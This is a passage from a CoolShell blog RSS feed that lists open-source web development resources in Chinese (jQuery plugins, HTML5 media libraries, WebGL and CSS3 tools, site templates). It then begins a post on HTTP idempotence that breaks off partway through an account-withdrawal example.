class=\"aligncenter\" title=\"flexiGrid\" src=\"http://www.b2bweb.fr/wp-content/uploads/flexiGrid.jpg\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li><a href=\"http://imakewebthings.github.com/jquery-waypoints/\" target=\"_blank\"><strong>Waypoints</strong></a> 是一个jQuery 用来实现捕获各种滚动事件的插件，例如实现无翻页的内容浏览，或者固定某个元素不让滚动等等。支持主流浏览器版本。</li>\n<li><strong><a href=\"http://plugins.jquery.com/project/lazy\" target=\"_blank\">Lazy loader</a> </strong>插件可以实现图片的延迟加载，当网页比较长的时候，会先只加载用户视窗内的图片，视窗外的图片会等到你拖动滚动条至后面才加载，这样有效的避免了因图片过多而加载慢的弊端。</li>\n<li><a href=\"https://github.com/gskinner/TweenJS\" target=\"_blank\"><strong>TweenJS</strong></a> : 一个简单和强大的 tweening / animation 的Javascript库。</li>\n<li><a href=\"http://janne.aukia.com/easie/\" target=\"_blank\"> <strong>Easings</strong></a> 类Css3的jQuery 动画插件</li>\n<li><a href=\"http://www.spritely.net/\" target=\"_blank\"><strong>Spritely</strong></a> 这个插件可以创建出如flash一样的动画效果，比如：在页面上有一只飞动的小鸟，一个动态滚动的背景等。</li>\n<li><strong><a href=\"https://github.com/blueimp/jQuery-File-Upload/\" target=\"_blank\">File Upload</a>, </strong>jQuery 文件上传插件4.4.1</li>\n<li><a href=\"http://www.agilecarousel.com/\" target=\"_blank\"><strong>Slideshow/Carousel</strong></a> 插件. <a href=\"https://github.com/edtalmadge/Agile-Carousel\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://www.buildinternet.com/project/supersized/\" target=\"_blank\"><strong>Supersized</strong></a> – 全屏式的背景/幻灯片插件</li>\n<li><a href=\"http://desandro.com/resources/jquery-masonry\" target=\"_blank\"><strong>Masonry</strong></a> i一款非常酷的自动排版插件，这款jQuery工具可以根据网格来自动排列水平和垂直元素，超越原来的css. <a href=\"https://github.com/desandro/masonry\" target=\"_blank\">Sources</a>.</li>\n<li>jQuery 简单 <a href=\"http://layout.jquery-dev.net/demos.cfm\" target=\"_blank\"><strong>Layout</strong></a> 演示，管理各种边栏式，可改变大小式的布局。</li>\n<li><a href=\"http://www.flexigrid.info/\" target=\"_blank\"><strong>Flexigrid</strong></a> – jQuery <a href=\"http://www.flexigrid.info/\" target=\"_blank\"><strong></strong></a>数据表插件</li>\n<li><a href=\"http://isotope.metafizzy.co/\" target=\"_blank\"><strong>Isotope</strong></a>绝对是一个令人难以置信的<em>jQuery</em>插件，你可以用它来创建动态和智能布局。你可以隐藏和显示与过滤项目，重新排序和整理甚至更多。</li>\n<li><a href=\"http://www.evanbyrne.com/article/super-gestures-jquery-plugin\" target=\"_blank\"><strong>Super Gestures</strong></a> jQuery 插件可以实现鼠标手势的功能。</li>\n<li><a href=\"https://github.com/brandonaaron/jquery-mousewheel\" target=\"_blank\"><strong>MouseWheel</strong></a> 是由Brandon Aaron开发的<em>jQuery</em>插件，用于添加跨浏览器的鼠标滚轮支持。</li>\n<li><a href=\"http://code.drewwilson.com/entry/autosuggest-jquery-plugin\" target=\"_blank\"><strong>AutoSuggest</strong></a> jQuery 插件可以让你添加一些自动完成的功能。</li>\n<li><a href=\"http://craigsworks.com/projects/qtip/\" target=\"_blank\"><strong>qTip</strong></a> 一个漂亮的<em>jQuery</em> 的工具提示插件，这个插件功能相当强大。</li>\n<li>jQuery <a href=\"http://www.highcharts.com/demo/\" target=\"_blank\"><strong>Charts and graphic</strong></a> 用来制作图表。</li>\n<li>jQuery Tools– The <a href=\"http://flowplayer.org/tools/demos/\" target=\"_blank\"><strong>missing UI library</strong></a></li>\n</ul>\n<h4>其它 jQuery 资源</h4>\n<ul>\n<li><a href=\"http://www.smashingmagazine.com/2011/04/07/useful-javascript-and-jquery-tools-libraries-plugins\" target=\"_blank\">http://www.smashingmagazine.com/2011/04/07/useful-javascript-and-jquery-tools-libraries-plugins</a></li>\n<li><a href=\"http://webdesigneraid.com/weekly-html5-news-and-inspirations-%E2%80%93-tutorials-tools-resources-and-freebies-v-2/\" target=\"_blank\">http://webdesigneraid.com/weekly-html5-news-and-inspirations-%E2%80%93-tutorials-tools-resources-and-freebies-v-2/</a></li>\n<li><a href=\"http://www.designer-daily.com/15-useful-jquery-plugins-and-tutorials-5207\" target=\"_blank\">http://www.designer-daily.com/15-useful-jquery-plugins-and-tutorials-5207</a></li>\n<li><a href=\"http://www.julien-verkest.fr/22/11/2007/240-plugins-jquery\" target=\"_blank\">http://www.julien-verkest.fr/22/11/2007/240-plugins-jquery</a></li>\n<li><a href=\"http://www.hotscripts.com/blog/10-great-html5-experiments-apps/\" target=\"_blank\">http://www.hotscripts.com/blog/10-great-html5-experiments-apps/</a></li>\n<li><a href=\"http://www.noupe.com/jquery/excellent-jquery-navigation-menu-tutorials.html\" target=\"_blank\">http://www.noupe.com/jquery/excellent-jquery-navigation-menu-tutorials.html</a></li>\n<li><a href=\"http://www.noupe.com/php/20-useful-php-jquery-tutorials.html\" target=\"_blank\">http://www.noupe.com/php/20-useful-php-jquery-tutorials.html</a></li>\n<li><a href=\"http://aext.net/2010/04/excellent-jquery-plugins-resources-for-data-presentation-and-grid-layout/\" target=\"_blank\">http://aext.net/2010/04/excellent-jquery-plugins-resources-for-data-presentation-and-grid-layout/</a></li>\n<li><a href=\"http://webdesigneraid.com/html5-canvas-graphing-solutions-every-web-developers-must-know/\" target=\"_blank\">http://webdesigneraid.com/html5-canvas-graphing-solutions-every-web-developers-must-know/</a></li>\n<li><a href=\"http://gestureworks.com/features/open-source-gestures/\" target=\"_blank\">http://gestureworks.com/features/open-source-gestures/</a></li>\n<li><a href=\"http://edtechdev.wordpress.com/2011/01/14/some-exciting-new-html5javascript-projects/\" target=\"_blank\">http://edtechdev.wordpress.com/2011/01/14/some-exciting-new-html5javascript-projects/</a></li>\n<li><a href=\"http://net.tutsplus.com/articles/web-roundups/30-developers-you-must-subscribe-to-as-a-javascript-junkie/\" target=\"_blank\">http://net.tutsplus.com/articles/web-roundups/30-developers-you-must-subscribe-to-as-a-javascript-junkie/</a></li>\n</ul>\n<h4>HTML5 视频播放器</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"leanBackPlayer\" src=\"http://www.b2bweb.fr/wp-content/uploads/leanBackPlayer.jpg\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"https://github.com/webmademovies/popcorn-js\" target=\"_blank\"><strong>Popcorn.js</strong></a> 是一个HTML5 Video框架，它提供了易于使用的API来同步交互式内容，让操作HTML5 Video元素的属性，方法和事件变得简单易用。 (来自Mozilla)</li>\n<li><a href=\"http://dev.mennerich.name/showroom/html5_video/\" target=\"_blank\"><strong>LeanBack Player</strong></a> HTML5视频播放器,没有依赖任何JavaScript框架。支持全屏播放，音量控制，在同一个页面中播放多个视频。 (来自Google)</li>\n<li><a href=\"http://m.vid.ly/user/\" target=\"_blank\"><strong>Vid.ly</strong></a> 为你上传的视频提供转换功能，并且为转换后的视频创建一个短网址。通过Vid.ly，让你的视频可以在14种不同的浏览器和设备上播放，不需要再去考虑将要浏览视频的人使用什么设备了，以避免各各软件巨头之间的利益之争带来了不兼容，给用户带来了巨大的困扰，短网址让你可以通过Twitter、Facebook等方式方便分享视频。Vid.ly还可以通过html代码嵌入到其他网页中。Vid.ly免费帐户空间为1GB，免费帐户也没有播放或浏览限制。</li>\n</ul>\n<h4>JavaScript 音频处理与可视化效果</h4>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"soundmanager\" src=\"http://www.b2bweb.fr/wp-content/uploads/soundmanager.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ 使用HTML5 和 Flash, <a href=\"http://www.schillmania.com/projects/soundmanager2/\" target=\"_blank\"><strong>SoundManager V2</strong></a> 只用单一API的提供了可靠，简单和强大的跨平台的音频处理。</li>\n<li><a href=\"https://github.com/corbanbrook/dsp.js/\" target=\"_blank\"><strong>DSP</strong></a>, JavaScript的声音Digital Signal Processing</li>\n<li>The Radiolab <a href=\"http://yoyodyne.cc/radiolab/\" target=\"_blank\"><strong>Hyper Audio Player</strong></a> v1, 带给你 WNYC Radiolab, SoundCloud 和 Mozilla Drumbeat</li>\n<li><a href=\"http://jplayer.org/\" target=\"_blank\"><strong>jPlayer</strong></a>, 一个 jQuery HTML5 音频/ 视频库，功能齐全的API</li>\n</ul>\n<h4>JavaScript 图形 和 3D</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"processing\" src=\"http://www.b2bweb.fr/wp-content/uploads/processing.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://processingjs.org/\" target=\"_blank\"><strong>Processing.js</strong></a>是一个开放的编程语言，在不使用Flash或Java小程序的前提下, 可以实现程序图像、动画和互动的应用。其使用Web标准，无需任何插件。</li>\n<li>★ Javascript 3D 引擎: <a href=\"https://github.com/mrdoob/three.js\" target=\"_blank\"><strong>ThreeJS</strong></a> 由 Mr Doob 开发，一个轻量级的 3D 引擎，不需要了解细节，傻瓜都能使用。这个引擎可以使用&lt;canvas&gt;, &lt;svg&gt; 和 WebGL.</li>\n<li><a href=\"http://www.iquilezles.org/apps/shadertoy/\" target=\"_blank\"><strong>Shader Toy</strong></a>, 一款使用WebGL的在线着色器编辑器(2D/3D). 基于在线的应用架构使您无需下载任何软件即可开始体验. Shader Toy包含大量实用着色器, 诸如光线追踪, 场景距离渲染, 球体, 隧道, 变形, 后期处理特效等.</li>\n<li><a href=\"http://senchalabs.github.com/philogl/\" target=\"_blank\"><strong>PhiloGL</strong></a>, Sencha的PhiloGL是首个WebGL开发工具之一，提供了高水准的功能，来构建WebGL应用。Sencha创建了几个演示，来描述框架交互式3D虚拟化的能力，比如<a href=\"http://senchalabs.github.com/philogl/PhiloGL/examples/temperatureAnomalies/\">3D view of global temperature changes</a>。</li>\n<li><a href=\"http://benvanik.github.com/WebGL-Inspector/\" target=\"_blank\"><strong>WebGL Inspector</strong></a> 你就Firebug等Web调试工具一样，这个是 WebGL的调试工具。</li>\n<li><a href=\"http://www.khronos.org/webgl/wiki_1_15/\" target=\"_blank\"><strong>WebGL frameworks</strong></a> 由 Khronos Group 收集的一个WebGL框架列表。</li>\n<li><a href=\"http://easeljs.com/\" target=\"_blank\"><strong>EaselJS</strong></a>, 一个使用html5的canvas的 JavaScript 库. <a href=\"https://github.com/gskinner/EaselJS\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://www.webresourcesdepot.com/free-javascript-game-frameworks-to-create-a-web-based-fun/\" target=\"_blank\"><strong>JavaScript Game Frameworks</strong></a> 免费的JS游戏框架列表。另，可参看 <a title=\"JS游戏引擎列表\" href=\"https://coolshell.cn/articles/3516.html\" target=\"_blank\">JS游戏框架列表</a>。</li>\n<li><a href=\"http://raphaeljs.com/\" target=\"_blank\"><strong>Raphaël</strong></a>是一个小型的JavaScript 库，用来简化在页面上显示向量图的工作。你可以用它在页面上绘制各种图表、并进行图片的剪切、旋转等操作。参看<a title=\"Javascript向量图Lib–Raphaël\" href=\"https://coolshell.cn/articles/3107.html\" target=\"_blank\">Javascript向量图Lib–Raphaël</a></li>\n<li><a href=\"http://keith-wood.name/svgRef.html\" target=\"_blank\"><strong>jQuery SVG</strong></a> 插件让你可以了 SVG canvas 进行交互。</li>\n<li><a href=\"http://code.google.com/intl/fr/apis/chart/\" target=\"_blank\"><strong>Google chart tools</strong></a> &#8211;  参看本站的<a href=\"https://coolshell.cn/articles/582.html\" target=\"_blank\">使用Google API做统计图</a></li>\n<li><a href=\"https://coolshell.cn/articles/582.html\" target=\"_blank\"></a><a href=\"http://arborjs.org/\" target=\"_blank\"><strong>Arbor.js</strong></a>, 是一个利用webworkers和jQuery创建的数据图形可视化JavaScript框架。它为图形组织和屏幕刷新处理提供了一个高效、力导向布局算法。</li>\n</ul>\n<h4>JavaScript 浏览器接口 (HTML5)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"amplify\" src=\"http://www.b2bweb.fr/wp-content/uploads/amplify.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://www.modernizr.com/\" target=\"_blank\"><strong>Modernizr</strong></a> – 是一个专为HTML5 和CSS3 开发的功能检测类库，可以根据浏览器对HTML5 和CSS3 的支持程度提供更加便捷的前端优化方案.<a href=\"https://github.com/Modernizr/Modernizr\" target=\"_blank\">Sources</a>. 一个有用的列表 <a href=\"https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-browser-Polyfills\" target=\"_blank\">cross-browser Polyfills</a></li>\n<li><a href=\"http://code.google.com/p/html5shiv/\" target=\"_blank\"><strong>HTML5Shiv</strong></a> : 该项目的目的是为了让IE 能识别HTML5 的元素。</li>\n<li><a href=\"https://github.com/remy/polyfills\" target=\"_blank\"><strong>Polyfills</strong></a> : 这个项目收集了一些代码片段其用Javascript支持不同的浏览器的特别功能，有些代码需要Flash。</li>\n<li><a href=\"http://yepnopejs.com/\" target=\"_blank\"><strong>YepNopeJS</strong></a> : 一个异步的条件式的加载器。<a href=\"https://github.com/SlexAxton/yepnope.js\" target=\"_blank\">Sources</a>.</li>\n<li>jQuery <a href=\"https://github.com/codler/jQuery-Css3-Finalize/\" target=\"_blank\"><strong>CSS3 Finalise</strong></a> : 是否厌倦了为每一个浏览器的CSS3属性加前缀？</li>\n<li>★ <a href=\"http://amplifyjs.com/\" target=\"_blank\"><strong>Amplify.js</strong></a> :一套用于web应用数据管理和应用程序通讯的<strong> jQuery 组件库</strong>。提供简单易用的API接口。Amplify的目标是通过为各种数据源提供一个统一的程序接口简化各种格式数据的数据处理。Amplify的存储组件使用localStorage 和 sessionStorage标准处理客户端的存储信息，对一些老的浏览器支持可能有问题。Amplify&#8217;为jQuery的ajax方法request增加了一些额外的特性。 <a href=\"https://github.com/appendto/amplify\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"https://github.com/balupton/history.js\" target=\"_blank\"><strong>History.js</strong></a> 优美地支持了HTML5 History/State APIs</li>\n<li><a href=\"http://socket.io/\" target=\"_blank\"><strong>Socket.IO</strong></a> Web的socket编程。</li>\n</ul>\n<h4>JavaScript 工具</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"headJs\" src=\"http://www.b2bweb.fr/wp-content/uploads/headJs.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★  {{<a href=\"http://mustache.github.com/\" target=\"_blank\"><strong>mustaches</strong></a>}} 小型的 JavaScript 模板引擎。</li>\n<li><a href=\"http://jsonselect.org/\" target=\"_blank\"><strong>json:select()</strong></a>, CSS式的JSON选择器</li>\n<li><a href=\"http://headjs.com/\" target=\"_blank\"><strong>HeadJS</strong></a>, 异步JavaScript装载。其最大特点就是不仅可以按顺序执行还可以并发装载载js。</li>\n<li><a href=\"http://code.google.com/p/jsdoc-toolkit/\" target=\"_blank\"><strong>JsDoc Toolkit</strong></a>是一款辅助工具，你只需要根据约定在JavaScript 代码中添加相应的注释，它就可以根据这些注释来自动生成API文档。</li>\n<li><a href=\"https://github.com/filamentgroup/Responsive-Images\" target=\"_blank\"><strong>Responsive image</strong></a>, 一个试验性的项目，用来处理<a href=\"http://www.alistapart.com/articles/responsive-web-design/\">responsive layouts</a> 式的图片。</li>\n<li><a href=\"http://marijnhaverbeke.nl/uglifyjs\" target=\"_blank\"><strong>UglifyJS</strong></a>是基于NodeJS的Javascript语法解析/压缩/格式化工具，它支持任何CommonJS模块系统的Javascript平台。</li>\n<li><a href=\"http://www.dhteumeuleu.com/\" target=\"_blank\"><strong>Dhteumeuleu</strong></a>, 交互式的 DOM 脚本和DHTML 的开源演示。</li>\n<li><a href=\"https://github.com/documentcloud/backbone/\" target=\"_blank\"><strong>Backbone</strong></a>是一个前端 JS 代码 MVC 框架，被著名的 37signals 用来构建他们的移动客户端。它不可取代 Jquery，不可取代现有的Template 库。而是和这些结合起来构建复杂的 web 前端交互应用。如果项目涉及大量的 javascript 代码，实现很多复杂的前端交互功能，首先你会想到把数据和展示分离。使用 Jquery 的 selector 和 callback 可以轻松做到这点。但是对于富客户端的WEB应用大量代码的结构化组织非常必要。Backbone 就提供了 javascript 代码的组织的功能。Backbone 主要包括 models, collections, views 和 events, controller 。</li>\n</ul>\n<h4>客户端和模拟器</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"firebug\" src=\"http://www.b2bweb.fr/wp-content/uploads/firebug.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li><a href=\"http://browsershots.org/\" target=\"_blank\"><strong>BrowserShot</strong></a>, 检查浏览器的兼容性，跨浏览器平器的测试</li>\n<li><strong><a href=\"http://tester.jonasjohn.de/\" target=\"_blank\">Test everything</a></strong>… 输入一个你想要测试的URL……</li>\n<li><a href=\"http://tmobile.modeaondemand.com/htc/g1/\" target=\"_blank\"><strong>Android browser</strong></a> 模拟器</li>\n<li><a href=\"http://iphonetester.com/\" target=\"_blank\"><strong>iPhone browser</strong></a> 模拟器</li>\n<li><a href=\"http://www.opera.com/mobile/demo/\" target=\"_blank\"><strong>Opera browser</strong></a> 模拟器</li>\n<li>★ <a href=\"http://getfirebug.com/whatisfirebug\" target=\"_blank\"><strong>Firebug</strong></a> 与 <strong><a href=\"http://www.mozilla.com/fr/firefox/\" target=\"_blank\">Firefox</a></strong> 集成，可以查看和调试你的Web页面。</li>\n</ul>\n<h3>CSS3 和 字库</h3>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"patternTap\" src=\"http://www.b2bweb.fr/wp-content/uploads/patternTap.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://www.css3maker.com/\" target=\"_blank\"><strong>CSS3 Maker</strong></a> CCS3的生成器</li>\n<li>容易地创建 <strong><a href=\"http://www.sencha.com/products/animator/\" target=\"_blank\">CSS3 animations</a>。</strong> Sencha Animator 是一个桌面应用可以为WebKit浏览器和触摸式移动设备创建 CSS3 animations 。</li>\n<li><a href=\"http://csswarp.eleqtriq.com/\" target=\"_blank\"><strong>CSSwarp</strong></a> – CSS 文本扭曲生成器</li>\n<li><a href=\"http://www.colorzilla.com/gradient-editor/\" target=\"_blank\"><strong>Gradient Editor</strong></a>, 一个强大的Photoshop式的CSS 渐变编译器。来自 ColorZilla</li>\n<li>★ <a href=\"http://www.google.com/webfonts\" target=\"_blank\"><strong>Google Web Fonts</strong></a> 通过Google Web Fonts API 可以浏览所有的字体</li>\n<li><a href=\"http://www.fontsquirrel.com/fontface/generator\" target=\"_blank\"><strong>@font-face Kit Generator</strong></a>, 为Web转换字体</li>\n<li><a href=\"http://www.typetester.org/\" target=\"_blank\"><strong>Typetester</strong></a>, 比较字体。</li>\n<li><a href=\"http://mediaqueri.es/\" target=\"_blank\"><strong>Media Queries</strong></a>. 一组 responsive web 设计。</li>\n<li><a href=\"http://patterntap.com/\" target=\"_blank\"><strong>Pattern TAP</strong></a>, UI组件。</li>\n</ul>\n<h4>Website (FULL) 模板</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"boilerplate\" src=\"http://www.b2bweb.fr/wp-content/uploads/boilerplate1.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://html5boilerplate.com/\" target=\"_blank\"><strong>HTML5 Boilerplate</strong></a> 是一个<a href=\"http://www.mhtml5.com/\">HTML5 </a>/ CSS / js模板，是实现跨浏览器正常化、性能优化，稳定的可选功能如跨域Ajax和Flash的最佳实践。 项目的开发商称之为技巧集合，目的是满足您开发一个跨浏览器，并且面向未来的网站的需求。 <a href=\"https://github.com/paulirish/html5-boilerplate\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://sickdesigner.com/resources/HTML5-starter-pack/\" target=\"_blank\"><strong>HTML5 starter pack</strong></a> 是一个干净的和有组织的目录结构，其可适合很多项目，还有一些很常用的文件，以及简单的Photoshop设计模板。</li>\n<li>★ <a href=\"http://initializr.com/\" target=\"_blank\"><strong>Initializr</strong></a> 是一个HTML5 模板生成器，其可以帮你在15秒内创建一个HTML5的项目。</li>\n<li><a href=\"http://tympanus.net/Tutorials/AnimatedPortfolioGallery/\" target=\"_blank\"><strong>Animated Portfolio Gallery</strong></a> （<a href=\"http://tympanus.net/codrops/2010/11/14/animated-portfolio-gallery/\" target=\"_blank\">教程</a>）</li>\n<li> <a href=\"http://tutorialzine.com/2010/07/making-slick-mobileapp-website-jquery-css/\" target=\"_blank\"><strong>Slick MobileApp Website</strong></a> 如果通过 jQuery 和 CSS 制作一个手机应用的网站。</li>\n<li> <a href=\"http://net.tutsplus.com/tutorials/javascript-ajax/how-to-build-an-rss-reader-with-jquery-mobile-2/\" target=\"_blank\"><strong>RSS Reader</strong></a> 如果通过 jQuery Mobile 创建一个RSS Reader</li>\n<li>★ <a href=\"http://addyosmani.com/blog/building-spas-jquerys-best-friends/\" target=\"_blank\"><strong>Single Page Applications</strong></a> 使用jQuery的朋友们 (Backbone, Underscore, …)创建单一页面。</li>\n<li><a href=\"http://code.google.com/p/gtv-resources/\" target=\"_blank\"><strong>Google TV Optimized Templates</strong></a>, 传统电视已经开始和网路融合，但现阶段产业仍然正在摸索之中，为此将来的网页亦会有结构上的改变。<a href=\"http://code.google.com/p/gtv-resources/\">Google TV Optimized Templates</a>是一个用HTML/JavaScript制成的开源软体，一如其名是一个对Google TV作出了最佳化的的网页范本，其特色是以遥控器作为操作的前提，令使用者无需输入任何文字就可以进行控制。未来除了会有专用遥控器外，还会采用智能手机透过W-iFi控制Google TV的方法。Optimized Templates的界面中左方会展示分类，右方会显示该分类下的影片截图，影片播放、切换、全画面表示都可透过键盘上的方向键、Backspace或Enter等键完成，方便今后的网站开发人员借镜。HTML5 版的模板使用了 <a href=\"http://code.google.com/p/gtv-ui-lib\" target=\"_blank\">Google TV UI library</a>, jQuery  和 Closure 。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"Web中的省略号\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_title\">Web中的省略号</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4795.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>124</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTTP幂等性概念和应用</title>\n\t\t<link>https://coolshell.cn/articles/4787.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4787.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Tue, 07 Jun 2011 00:49:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[HTTP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4787</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>[ 感谢 Todd 同学投递本文 ] 基于HTTP协议的Web API是时下最为流行的一种分布式服务提供方式。无论是在大型互联网应用还是企业级架构中，我们都见到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4787.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4787.html\">HTTP幂等性概念和应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>[ 感谢 <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a>投递本文 ]</strong></p>\n<p>基于HTTP协议的Web API是时下最为流行的一种分布式服务提供方式。无论是在大型互联网应用还是企业级架构中，我们都见到了越来越多的SOA或RESTful的Web API。为什么Web API如此流行呢？我认为很大程度上应归功于简单有效的HTTP协议。HTTP协议是一种分布式的面向资源的网络应用层协议，无论是服务器端提供Web服务，还是客户端消费Web服务都非常简单。再加上浏览器、Javascript、AJAX、JSON以及HTML5等技术和工具的发展，互联网应用架构设计表现出了从传统的PHP、JSP、ASP.NET等服务器端动态网页向Web API + RIA（富互联网应用）过渡的趋势。Web API专注于提供业务服务，RIA专注于用户界面和交互设计，从此两个领域的分工更加明晰。在这种趋势下，Web API设计将成为服务器端程序员的必修课。然而，正如简单的Java语言并不意味着高质量的Java程序，简单的HTTP协议也不意味着高质量的Web API。要想设计出高质量的Web API，还需要深入理解分布式系统及HTTP协议的特性。</p>\n<p><strong> </strong></p>\n<p><strong> </strong></p>\n<p><strong>幂等性定义</strong></p>\n<p>本文所要探讨的正是HTTP协议涉及到的一种重要性质：幂等性(Idempotence)。在HTTP/1.1规范中幂等性的定义是：</p>\n<blockquote><p><em><span style=\"color: #800040;\">Methods can also have the property of &#8220;idempotence&#8221; in that (aside from error or expiration issues) the side-effects of N &gt; 0 identical requests is the same as for a single request.</span></em></p></blockquote>\n<p>从定义上看，HTTP方法的幂等性是指一次和多次请求某一个资源应该具有同样的副作用。幂等性属于语义范畴，正如编译器只能帮助检查语法错误一样，HTTP规范也没有办法通过消息格式等语法手段来定义它，这可能是它不太受到重视的原因之一。但实际上，幂等性是分布式系统设计中十分重要的概念，而HTTP的分布式本质也决定了它在HTTP中具有重要地位。</p>\n<p><span id=\"more-4787\"></span></p>\n<p><strong> </strong></p>\n<p><strong>分布式事务 vs 幂等设计</strong></p>\n<p>为什么需要幂等性呢？我们先从一个例子说起，假设有一个从账户取钱的远程API（可以是HTTP的，也可以不是），我们暂时用类函数的方式记为</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">bool withdraw(account_id, amount); </code></p>\n<p>withdraw的语义是从account_id对应的账户中扣除amount数额的钱；如果扣除成功则返回true，账户余额减少amount；如果扣除失败则返回false，账户余额不变。值得注意的是：和本地环境相比，我们不能轻易假设分布式环境的可靠性。一种典型的情况是withdraw请求已经被服务器端正确处理，但服务器端的返回结果由于网络等原因被掉丢了，导致客户端无法得知处理结果。如果是在网页上，一些不恰当的设计可能会使用户认为上一次操作失败了，然后刷新页面，这就导致了withdraw被调用两次，账户也被多扣了一次钱。如图1所示：</p>\n<p style=\"text-align: center;\"><a 